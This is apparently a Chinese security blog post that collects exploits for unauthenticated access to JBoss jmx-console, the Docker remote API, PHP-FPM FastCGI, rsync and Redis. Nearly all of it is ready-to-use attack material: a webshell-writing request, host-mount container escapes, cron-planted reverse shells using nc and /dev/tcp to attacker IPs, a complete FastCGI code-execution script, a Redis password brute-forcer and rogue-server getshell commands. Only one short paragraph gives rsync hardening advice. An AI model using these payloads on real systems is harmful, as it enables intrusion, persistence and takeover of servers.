【附EXP】常见的未授权访问漏洞

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>

http://ip:8080/August/shell.jsp?f=1.txt&t=hello%20world!

冰蝎马生成java -jvf shell.war shell.jsp

1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:23752. docker守护进程监听在0.0.0.0，外网可访问3.没有使用iptable等限制可连接的来源ip。

docker -H tcp://192.168.1.7:2375 images                  //获取镜像信息docker -H tcp://192.168.1.7:2375 run 28f6e2705743        //启动docker容器docker -H tcp://192.168.1.7:2375    ps -a                //获取容器信息docker -H tcp://192.168.1.7:2375                        //关闭容器

随意启动一个容器，并将宿主机的 / 目录挂载到容器的 /mnt目录，这样就可以操作宿主机中的文件了docker -H tcp://192.168.1.7:2375 run -it -v /:/mnt 28f6e2705743 /bin/sh
攻击机监听root@kali:~# nc -lvvp 6666listening on [any] 6666 ...
写入就计划任务，反弹shellecho "* * * * * /usr/bin/nc 192.168.83.100 6666 -e /bin/sh" >> /mnt/etc/crontabs/root

import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'}

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}

import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes([i]) def bord(c):    if isinstance(c, int):        return c    else:        return ord(c) def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict') def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return s  class FastCGIClient:    """A Fast-CGI Client for Python"""     # private    __FCGI_VERSION = 1     __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3     __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11     __FCGI_HEADER_SIZE = 8     # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3     def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()     def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION)                + bchr(fcgi_type)                + bchr((requestid >> 8) & 0xFF)                + bchr(requestid & 0xFF)                + bchr((length >> 8) & 0xFF)                + bchr(length & 0xFF)                + bchr(0)                + bchr(0)                + content        return buf     def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80)                       + bchr((nLen >> 16) & 0xFF)                       + bchr((nLen >> 8) & 0xFF)                       + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80)                       + bchr((vLen >> 16) & 0xFF)                       + bchr((vLen >> 8) & 0xFF)                       + bchr(vLen & 0xFF)        return record + name + value     def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header     def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))         if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record     def request(self, nameValuePairs={}, post=''):        if not self.__connect():            print('connect failure! please check your fasctcgi-server !!')            return         requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0)                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER)                                  + bchr(self.keepalive)                                  + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)         if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)         if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)         self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''        return self.__waitForResponse(requestId)     def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf         data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT                     or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']     def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)  if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('host', help='Target host, such as 127.0.0.1')    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)     args = parser.parse_args()     client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    print(force_text(response))

使用命令执行一个默认存在的php文件python fpm.py your-ip /usr/local/lib/php/PEAR.php任意命令执行python fpm.py 192.168.1.7 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'

motd file -> motd文件位置log file -> 日志文件位置path -> 默认路径位置use chroot -> 是否限定在该目录下，默认为true，当有软连接时，需要改为fasle,如果为true就限定为模块默认目录read only -> 只读配置（yes or no）list=true -> 是否可以列出模块名uid = root -> 传输使用的用户名gid = root -> 传输使用的用户组auth users -> 认证用户名secrets file=/etc/rsyncd.passwd -> 指定密码文件，如果设定验证用户，这一项必须设置，设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为：username:passwordhosts allow=192.168.0.101  -> 设置可以允许访问的主机，可以是网段，多个Ip地址用空格隔开hosts deny 禁止的主机，host的两项可以使用*表任意。

nmap -p 873 --script rsync-list-modules 192.168.1.7

rsync ip::rsync rsync://ip:873

rsync -av ip::src

rsync -av crontab1 rsync://192.168.0.113:873/src/etc/crontab1
//rsync -av 文件路径 rsync://ip:873/目标系统文件路径

rsync -av rsync://ip/src/etc/crontab crontab.txtcat crontab.txt

//17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly//表示17分钟会启动/etc/cron.hourly目录下文件的任务

touch shell//文件写入反弹shell命令#!/bin/bash/bin/bash -i >& /dev/tcp/192.168.1.6/4444 0>&1

rsync -av shell rsync://ip:873/src/etc/cron.hourly

更改rysnc默认配置文件/etc/rsyncd.conf，添加或修改参数：访问控制；设置host allow，限制允许访问主机的IP。权限控制；设置auth users ，将模块设置成只读。权限控制；设置read only，将模块设置成只读。访问认证；设置auth、secrets，认证成功才能调用服务。模块隐藏；设置list，将模块隐藏。

#!/usr/bin/python2# -*- coding: utf-8 -*-
import socketimport sys
def check(ip, port, timeout):    try:        socket.setdefaulttimeout(timeout)        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((ip, int(port)))        s.send("INFOrn")        result = s.recv(1024)        if "redis_version" in result:            return u"[+] IP:{0}存在未授权访问".format(ip)        elif "Authentication" in result:            with open('pass.txt','r') as  p:                passwds = p.readlines()                for passwd in passwds:                    passwd = passwd.strip("n")                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                    s.connect((ip, int(port)))                    s.send("AUTH %srn" %(passwd))                    # print u"[HACKING] hacking to passwd --> "+passwd                    result = s.recv(1024)                    if 'OK' in result:                        return u"[+] IP:{0} 存在弱口令，密码：{1}".format(ip,passwd)                    else:pass        else:pass        s.close()    except Exception, e:        return u"[+] IP:{0}已过滤".format(ip)        pass
if __name__ == '__main__':    port="6379"    with open('IP.txt','r') as  f:        ips = f.readlines()        for i in ips:            ip = i.strip("n")            result = check(ip,port,timeout=10)            print(result)

192.168.126.128192.168.126.129192.168.126.130192.168.126.131...

redisrootoraclepasswordp@ssw0rdabc123!123456adminabc123...

python redis-scan.py

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redis-stable make     //使用make编译后进入 /src/文件夹下面 cp src/redis-cli /usr/bin/        //拷贝文件到 /usr/bin 目录下，然后任意目录都可以使用 redis-cli 远程连接命令redis-cli -h    // -h 后面跟ip地址

# 无密码登录命令redis-cli -h 目标主机IP# 有密码登录命令redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

git clone https://github.com/vulhub/redis-rogue-getshell.gitcd RedisModulesSDK/make//克隆成功后使用cd命令切换到RedisModulesSDK 使用 make 命令进行编译，编译后回到 redis-rogue-getshell/ 目录下

# 工具命令格式：python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"# 工具命令示例：python3 redis-master.py -r 192.168.126.130 -p 6379 -L 192.168.126.128 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"